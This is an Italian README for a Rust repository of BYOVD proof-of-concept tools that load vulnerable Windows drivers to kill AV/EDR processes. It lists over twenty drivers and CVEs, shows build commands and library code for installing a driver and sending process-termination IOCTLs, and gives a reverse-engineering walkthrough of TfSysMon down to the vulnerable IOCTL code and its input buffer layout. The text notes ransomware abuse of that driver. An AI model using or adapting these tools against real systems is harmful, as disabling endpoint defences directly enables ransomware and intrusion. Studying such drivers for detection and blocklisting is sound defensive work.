
Casi d'uso di ricerca BYOVD che presentano scoperta di driver vulnerabili e metodologia di reverse engineering. (CVE-2025-52915, CVE-2025-1055, CVE-2026-3609, CVE-2026-8501).
BYOVD è una raccolta di PoC che dimostrano come driver vulnerabili possano essere sfruttati per disabilitare soluzioni AV/EDR.
La raccolta include sia driver non documentati sia quelli già coperti da LOLDDrivers o dalle regole di blocco driver consigliate da Microsoft.
Dal momento della sua scoperta iniziale, il driver TfSysMon è stato aggiunto a LOLDrivers e abusato da gruppi ransomware tramite lo strumento EDRKillShifter, come riportato da Sophos ed ESET
La tecnica BYOVD ha recentemente guadagnato popolarità nella sicurezza offensiva, in particolare con il rilascio di strumenti come il Terminator di SpyBoy (venduto a $3.000) e il progetto ZeroMemoryEx Blackout. Questi strumenti sfruttano driver vulnerabili per disabilitare gli agenti AV/EDR, facilitando ulteriori attacchi riducendo il rilevamento.
Questo repository contiene diversi PoC sviluppati a scopo educativo, per aiutare i ricercatori a comprendere come questi driver possano essere abusati per terminare processi.
Il progetto è organizzato come un workspace Rust Cargo. La maggior parte dei PoC condivide una libreria comune (byovd-lib) che gestisce il codice boilerplate: ciclo di vita del servizio driver, dispatch IOCTL, monitoraggio dei processi, regolazione dei privilegi e pulizia. Ogni killer è un binario snello (~50-100 righe) che definisce solo la propria configurazione specifica del driver. K7Terminator, Astra64-Killer, Ktapi-Killer e Xhunter1-Killer sono autonomi — hanno le proprie dichiarazioni [workspace] e vengono compilati direttamente dalle proprie directory, non tramite il workspace principale.```
BYOVD/
├── Cargo.toml # Workspace root (deps + release profile)
├── Cargo.lock
├── README.md
├── LICENSE
│
├── byovd-lib/ # Shared library
│ ├── Cargo.toml
│ └── src/
│ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor()
│ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete)
│ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes
│ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
│ ├── process.rs # find_pid_by_name / find_all_pids_by_name
│ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler
│ ├── privilege.rs # enable_privilege / ensure_running_as_local_system
│ └── util.rs # to_wstring / to_cstring / get_current_dir
│
├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys
├── Astra64-Killer/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, data-only Shadow SSDT hijack EDR killer
├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324)
├── CcProtect-Killer/ # CnCrypt CcProtect
├── EnPortv-Killer/ # EnCase EnPortv
├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155)
├── GoFlyDrv-Killer/ # Golink GoFlyDrv
├── HNOs2Ec-Killer/ # HONOR PCManager HNOs2Ec.sys
├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys
├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes
├── Ksapi64-Killer/ # Kingsoft ksapi64
├── Ktapi-Killer/ # Kontron ktapi.sys -- standalone, two-stage shellcode EDR killer
├── MonProcess-Killer/ # HONOR HnRSMService MonProcess.sys
├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys
├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction)
├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501)
├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction)
├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618)
├── TfSysMon-Killer/ # ThreatFire sysmon
├── UnknownKiller/ # unattributed unknown.sys
├── Viragt64-Killer/ # Tg Soft viragt64
├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271)
├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609)
└── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm
Ogni directory `*-Killer/` contiene il proprio `Cargo.toml`, `src/main.rs` (l'implementazione di `DriverConfig` + CLI), `README.md` (hash del driver + utilizzo) e il file `.sys` corrispondente che il binario carica in fase di esecuzione.
## 🔧 Compilazione
**Prerequisiti:** toolchain Rust e Visual Studio Build Tools con Windows SDK.```bash
# Build all tools (release, optimized + stripped)
cargo build --release
# Build a single tool
cargo build --release -p BdApiUtil-Killer
# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer
I binari vengono generati in target/release/. Copia il file driver .sys corrispondente nella stessa directory dell'eseguibile prima di eseguirlo.
byovd-lib è la libreria condivisa su cui sono basati tutti i PoC (tranne K7Terminator). Espone due API complementari -- una dichiarativa ad alto livello per il flusso standard "installa driver, kill on sight, pulisci", e una imperativa a basso livello per i killer che necessitano di un flusso personalizzato (aggancio a un driver già caricato, fan-out su più PID, buffer IOCTL strutturati, logica di retry personalizzata, ecc.). Entrambe possono essere combinate nello stesso binario.
byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir
### API di alto livello: trait `DriverConfig` + `run()`
Questo è ciò che usano i killer inclusi. Implementa il trait, chiama `byovd_lib::run()`, fatto.```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;
struct MyDriver;
impl DriverConfig for MyDriver {
fn driver_name(&self) -> &str { "MyDriver" }
fn driver_file(&self) -> &str { "mydriver.sys" }
fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
fn ioctl_code(&self) -> u32 { 0xDEAD }
fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
pid.to_ne_bytes().to_vec()
}
}
#[derive(Parser)]
struct Cli {
#[arg(short = 'n', long = "name", required = true)]
process_name: String,
}
fn main() -> Result<()> {
let cli = Cli::parse();
byovd_lib::run(&MyDriver, &cli.process_name, None)
}
run() esegue: preflight_check → installa il servizio (SERVICE_DEMAND_START) → StartService → monitor kill-on-sight (Ctrl+C per uscire) → arresta ed elimina il servizio.
Override opzionali dei trait con i loro valori predefiniti:
Quando il flusso del trait non si adatta — es. il driver è già caricato e vuoi inviare un solo IOCTL, ti serve una policy di retry personalizzata, l'IOCTL accetta un input strutturato anziché solo un PID, oppure vuoi distribuire l'operazione su tutti i PID corrispondenti — componi direttamente i componenti di livello inferiore.
Ciclo di vita del driver — ByovdDriver:```rust
use byovd_lib::ByovdDriver;
let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\.\MyDevice")?; driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK let device = driver.open_device()?; // returns DeviceHandle // ... send IOCTLs ... driver.stop_and_delete()?;
**Dispatch IOCTL** -- `DeviceHandle` espone cinque forme tipizzate:
| Metodo | Quando usarlo |
|---|---|
| `ioctl<I, O>(code, &input, &mut output)` | Sia buffer di input che di output, tipi separati |
| `ioctl_inout<T>(code, &mut data)` | Stesso buffer per input + output |
| `ioctl_in<I>(code, &input)` | Solo input, nessun buffer di output |
| `ioctl_in_unchecked<I>(code, &input)` | Solo input, ignora gli errori (alternativa per singola chiamata a `ignore_ioctl_error`) |
| `ioctl_raw(code, in_ptr, in_size, out_ptr, out_size)` | Valvola di fuga per puntatori grezzi |
Le forme tipizzate eliminano il codice ripetitivo manuale `to_ne_bytes()` / `extend_from_slice()` quando l'IOCTL accetta una struct (es. `{ pid: u32, padding: [u8; 20] }`).
**Ricerca dei processi** -- `find_pid_by_name(name)` (prima corrispondenza) e `find_all_pids_by_name(name)` (tutte le corrispondenze, esclude i PID di sistema ≤ 4).
**Ciclo di monitoraggio personalizzato** -- `run_monitor_loop(name, interval, |pid| ...)` accetta una closure così puoi fare ciò che vuoi per ogni corrispondenza (più IOCTL, logging strutturato, fan-out tra PID, retry in caso di errore).
**Privilegi** -- `enable_privilege("SeDebugPrivilege")` / `enable_privilege("SeLoadDriverPrivilege")` per driver che richiedono privilegi token espliciti. `ensure_running_as_local_system()` restituisce un errore se il processo non è in esecuzione come `S-1-5-18`.
**Wrapper per handle** -- `WinHandle` (auto-`CloseHandle`) e `ScHandle` (auto-`CloseServiceHandle`) sono `Send + Sync` e possono essere spostati tra thread.
### Esempio: collegamento a un driver già caricato, senza ciclo di vita del servizio
Questo è ciò che fa `UnknownKiller --attach` -- salta completamente SCM, apre semplicemente il dispositivo e invia l'IOCTL una volta:```rust
use byovd_lib::{find_pid_by_name, DeviceHandle, Result};
fn main() -> Result<()> {
let device = DeviceHandle::open("\\\\.\\eb")?;
let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
device.ioctl_in(0x222024, &pid)?; // typed: just pass &u32
Ok(())
}
FileHandle / ServiceHandle risolvono ancora in WinHandle / ScHandle, e get_pid_by_name è mantenuto come alias per find_pid_by_name, così il codice più vecchio che fa riferimento a quei nomi continua a compilare.
Di seguito sono riportati i driver e i rispettivi PoC disponibili in questo repository:
ardrv.sys di OPSWAT AppRemover.astra64.sys di EnTech Taiwan (Astra32 / TVicHW) -- killer EDR standalone basato esclusivamente su dati con hijack Shadow SSDT.BdApiUtil64.sys di Baidu AntiVirus (CVE-2024-51324).CcProtect.sys di CnCrypt.EnPortv.sys di Guidance EnCase.Questa sezione dimostra la metodologia completa di reverse engineering A-Z utilizzando il driver TfSysMon come esempio pratico. Questo processo si applica a qualsiasi analisi di driver kernel Windows x64.
Controlla le importazioni del driver prima di iniziare il reverse engineering.
Un driver killer di processi di base richiede 2 cose:
un modo per ottenere un handle su un processo (ad esempio ZwOpenProcess o NtOpenProcess)
un modo per terminare il processo (ad esempio ZwTerminateProcess o NtTerminateProcess)
Controlla se un driver importa entrambi i tipi di funzioni. Se un driver ha tra le sue funzioni importate Nt/ZwOpenProcess E Nt/ZwTerminateProcess, allora è un potenziale candidato come driver killer di processi.
Solo dopo aver confermato queste importazioni dovresti procedere al reverse engineering dettagliato in IDA Pro.
Strumenti richiesti:
Ogni driver Windows inizia con DriverEntry - trova prima questa funzione:
In TfSysMon, il DriverEntry si presenta così:```c NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { unsigned __int64 v2; // rax v2 = BugCheckParameter2; if ( !BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232LL ) { v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFLL; if ( !v2 ) v2 = 0x2B992DDFA232LL; BugCheckParameter2 = v2; } BugCheckParameter3 = ~v2; return sub_17484(DriverObject); }
**Note di analisi:**
- Il codice esegue alcune inizializzazioni con BugCheckParameter2 e BugCheckParameter3
- La vera inizializzazione del driver avviene in `sub_17484`
- Segui la chiamata a `sub_17484(DriverObject)` - è qui che avviene la configurazione effettiva del driver
### 📍 Passaggio 2: Seguire la catena di inizializzazione del driver
**Passa alla funzione di inizializzazione (`sub_17484`):**```c
NTSTATUS __fastcall sub_17484(PDRIVER_OBJECT DriverObject, unsigned __int16 *a2)
{
// ... initialization code ...
RtlInitUnicodeString(&DestinationString, L"\\Device\\TfSysMon");
result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
if ( result < 0 )
return result;
qword_1D5D8 = 0;
dword_1D5D0 = 1;
DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_17694;
RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\TfSysMon");
v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
// ... rest of function ...
}
Principali risultati del reverse engineering:
\\Device\\TfSysMon (spazio kernel)\\DosDevices\\TfSysMon (accessibile in modalità utente come \\.\\TfSysMon)0x22 = FILE_DEVICE_UNKNOWNsub_17694Passare alla funzione di dispatch (sub_17694):```c
__int64 __fastcall sub_17694(struct _DEVICE_OBJECT *a1, IRP *a2)
{
struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx
unsigned int v4; // ebx
if ( a1 != DeviceObject ) { v4 = -1073741790; goto LABEL_20; } CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation; v4 = 0; if ( !CurrentStackLocation->MajorFunction ) { // Handle IRP_MJ_CREATE } else if ( CurrentStackLocation->MajorFunction == 2 ) { // Handle IRP_MJ_CLOSE } else if ( CurrentStackLocation->MajorFunction <= 0xDu ) { goto LABEL_7; } else if ( CurrentStackLocation->MajorFunction <= 0xFu ) { v4 = sub_177D8(a2); // THIS IS THE IOCTL HANDLER goto LABEL_20; } // ... rest of function }
**Analisi di Reverse Engineering:**
- La validazione del dispositivo avviene per prima (`if ( a1 != DeviceObject )`)
- `CurrentStackLocation->MajorFunction` determina il tipo di operazione
- **CRITICO**: i valori MajorFunction 14 (0xE) e 15 (0xF) chiamano `sub_177D8`
- MajorFunction 14 = IRP_MJ_DEVICE_CONTROL = elaborazione IOCTL
- Il percorso di codice vulnerabile è: **richiesta IOCTL → sub_177D8**
### 📍 Passaggio 4: Reverse Engineering del gestore IOCTL
**Passare alla funzione di elaborazione IOCTL (`sub_177D8`):**```c
__int64 __fastcall sub_177D8(PIRP Irp, __int64 a2, __int64 a3, __int64 a4)
{
// ... variable declarations ...
v7 = *(_DWORD *)(a2 + 24); // Extract IOCTL code
MasterIrp = Irp->AssociatedIrp.MasterIrp; // Input buffer
v9 = *(unsigned int *)(a2 + 16); // InputBufferLength
v10 = *(_DWORD *)(a2 + 8); // OutputBufferLength
if ( v7 > 0xB4A00070 )
{
if ( v7 > 0xB4A000F8 )
{
if ( v7 != -1264582404 )
{
switch ( v7 )
{
// ... various cases ...
case 0xB4A00404: // VULNERABLE IOCTL CODE
if ( (unsigned int)v9 >= 0x18 )
return (unsigned int)sub_1837C((__int64)Irp->AssociatedIrp.MasterIrp);
break;
// ... more cases ...
}
}
}
}
// ... rest of function
}
Scoperte Critiche di Reverse Engineering:
v7 = *(_DWORD *)(a2 + 24) ottiene il codice IOCTL da IO_STACK_LOCATIONIrp->AssociatedIrp.MasterIrp contiene i dati utentev9 = *(unsigned int *)(a2 + 16) ottiene la dimensione del buffer di input0xB4A00404 porta a sub_1837CNaviga verso la funzione di terminazione del processo (sub_1837C):```c
__int64 __fastcall sub_1837C(__int64 a1)
{
unsigned int v2; // ebx
void *v3; // rax
unsigned int v4; // edi
NTSTATUS v6; // eax
// ... variable declarations ...
v2 = 0; if ( MmIsAddressValid((PVOID)a1) ) { v3 = *(void **)(a1 + 4); // EXTRACT PID FROM OFFSET +4 v4 = 0; if ( !v3 ) return 3221225485LL; memset(&ObjectAttributes.RootDirectory, 0, 20); ObjectAttributes.SecurityDescriptor = 0; ObjectAttributes.SecurityQualityOfService = 0; ClientId.UniqueThread = 0; ObjectAttributes.Length = 48; ClientId.UniqueProcess = v3; // SET TARGET PID while ( 1 ) { v6 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId); v7 = v6 < 0; v2 = v6; if ( !v6 ) break; v8 = v4++; if ( v8 >= 3 ) { v7 = v6 < 0; break; } } if ( !v7 ) { v9 = 0; do { v2 = ZwTerminateProcess(ProcessHandle, 0); // TERMINATE PROCESS if ( !v2 ) break; v10 = v9++; } while ( v10 < 3 ); ZwClose(ProcessHandle); } } return v2; }
**Analisi delle funzioni:**
- **Struttura di input**: Dall'analisi del codice del driver, abbiamo determinato il layout del buffer in cui il PID si trova all'offset +4
- **Parsing dell'input**: `v3 = *(void **)(a1 + 4)` estrae il PID dal buffer di input all'offset +4
- **Apertura del processo**: `ZwOpenProcess` con diritti di accesso minimi (1u = PROCESS_TERMINATE)
- **Nessun controllo di sicurezza**: Nessuna validazione dei privilegi del chiamante o della protezione del processo di destinazione
- **Terminazione del processo**: Chiamata diretta a `ZwTerminateProcess`
- **Logica di retry**: Tentativi multipli sia per l'apertura che per la terminazione
- **Qualsiasi processo**: Può terminare qualsiasi processo accessibile all'account SYSTEM
### 📍 Passo 6: Mappare la Catena di Attacco Completa
**Flusso completo di reverse engineering:**
1. **Punto di ingresso**: L'utente chiama `DeviceIoControl` su `\\.\\TfSysMon`
2. **Creazione dell'IRP**: L'I/O Manager crea l'IRP con MajorFunction = 14
3. **Dispatch**: `sub_17694` instrada verso `sub_177D8` per l'elaborazione dell'IOCTL
4. **Controllo IOCTL**: `sub_177D8` valida il codice IOCTL `0xB4A00404` e la dimensione del buffer ≥ 24 byte
5. **Esecuzione**: Chiama `sub_1837C` con il buffer di input dell'utente
6. **Terminazione**: `sub_1837C` estrae il PID dall'offset +4 e termina il processo tramite `ZwTerminateProcess`
**Struttura del buffer di input (dal reverse engineering del driver):**```
Offset 0x00-0x03: [padding] - 4 bytes
Offset 0x04-0x07: [Target Process ID] - 4 bytes (DWORD)
Offset 0x08-0x17: [extra_padding] - 16 bytes
Total Size: 24 bytes (0x18) - matches driver's minimum size check
Questa metodologia dimostra come eseguire il reverse engineering sistematico di qualsiasi driver kernel Windows x64 per identificare vulnerabilità simili, seguendo il percorso di esecuzione dalla comunicazione in modalità utente fino alle operazioni kernel pericolose.
Se BYOVD ha aiutato le tue operazioni di red team, considera di offrirmi una birra:
Il Progetto BYOVD è destinato esclusivamente a scopi educativi e di ricerca. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questi programmi. Richiedi sempre un'autorizzazione esplicita prima di utilizzare questi strumenti su qualsiasi sistema.
| Metodo | Predefinito | Scopo |
|---|
device_access() | SERVICE_ALL_ACCESS | Flag di accesso per CreateFileW |
skip_unload() | false | Salta la pulizia del driver (es. driver che causano BSOD allo scaricamento) |
ignore_ioctl_error() | false | Tratta il fallimento IOCTL come successo (es. NSecKrnl segnala errore in caso di successo) |
ioctl_output_size() | 0 | Dimensione prevista del buffer di output in byte |
preflight_check() | Ok(()) | Validazione pre-avvio (es. controllo LocalSystem) |
GameDriverX64.sys di Fedeen Games (CVE-2025-61155).GoFlyDrv.sys di Golink.HNOs2Ec.sys di HONOR (PCManager).HWAudioOs2Ec.sys di Huawei.K7RKScan.sys di K7 Computing (CVE-2025-52915, CVE-2025-1055) -- Analisi completa.ksapi64.sys / ksapi64_del.sys di Kingsoft Corporation.ktapi.sys di Kontron -- killer EDR standalone a shellcode in due fasi.MonProcess.sys di HONOR (HnRSMService).MonProcessEX.sys di HONOR.NSecKrnl.sys di NSEC (riproduzione BYOVD ValleyRAT).PCTcore64.sys di PC Tools (CVE-2026-8501).PoisonX.sys di Microsoft (riproduzione di @j3h4ck)STProcessMonitor.sys di Safetica (CVE-2025-70795, supporta v11.11.4 e v11.26.18).sysmon.sys di ThreatFire System Monitor.unknown.sys di un vendor non attribuito (origine del driver da determinare).viragt64.sys di Tg Soft.wsftprm.sys di Topaz Antifraud (CVE-2023-52271).xhunter1.sys di Wellbia (XIGNCODE3, CVE-2026-3609).xkpsm.sys di JiranJikyosoft X-Keeper.